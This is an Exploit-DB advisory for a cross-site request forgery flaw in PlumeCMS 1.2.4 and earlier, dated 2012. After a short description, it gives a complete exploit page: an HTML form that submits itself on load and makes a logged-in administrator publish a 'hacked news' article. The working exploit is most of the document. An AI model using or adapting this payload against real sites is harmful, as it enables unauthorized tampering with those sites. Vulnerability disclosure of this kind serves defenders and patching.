Plume CMS 1.2.4 - Cross-Site Request Forgery

EDB-ID:

18502




Platform:

PHP

Date:

2012-02-20


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# Exploit Title : PlumeCMS <= 1.2.4 CSRF Vulnerability
# Date          : 20-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Software link : http://sourceforge.net/projects/pxsystem/files/latest/download?source=directory
# Vendor site   : http://pxsystem.sourceforge.net/
# Version       : 1.2.4 (latest) and lower
# Tested on     : Debian Squeeze (6.0)
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+------------------------------------------[Insert and publish NEWS by Ivano Binetti]--------------------------------------------------+
Summary

1)Vulnerability Description
2)Exploit

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1)Vulnerability Description

PlumeCMS is prone to a CSRF Vulnerability which allows an attacker to insert and publish "News" (as PlumeCMS names his articles) when an 
authenticated admin browses a web page containing the following html/javascript code.

2)Exploit 

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add and publish News</H2>
<form method="POST" name="form0" action="http://localhost:80/plume/manager/news.php">
<input type="hidden" name="n_category_id" value="1"/>
<input type="hidden" name="n_content_format" value="html"/>
<input type="hidden" name="n_status" value="1"/>
<input type="hidden" name="n_comment_support" value="1"/>
<input type="hidden" name="n_subtype" value="2"/>
<input type="hidden" name="n_title" value="hacked news"/>
<input type="hidden" name="n_content" value="%3Cp%3Etest2%3C%2Fp%3E"/>
<input type="hidden" name="n_subject" value=""/>
<input type="hidden" name="n_titlewebsite" value=""/>
<input type="hidden" name="n_linkwebsite" value=""/>
<input type="hidden" name="publish" value="Save+%5Bs%5D"/>
</form>
</body>
</html>


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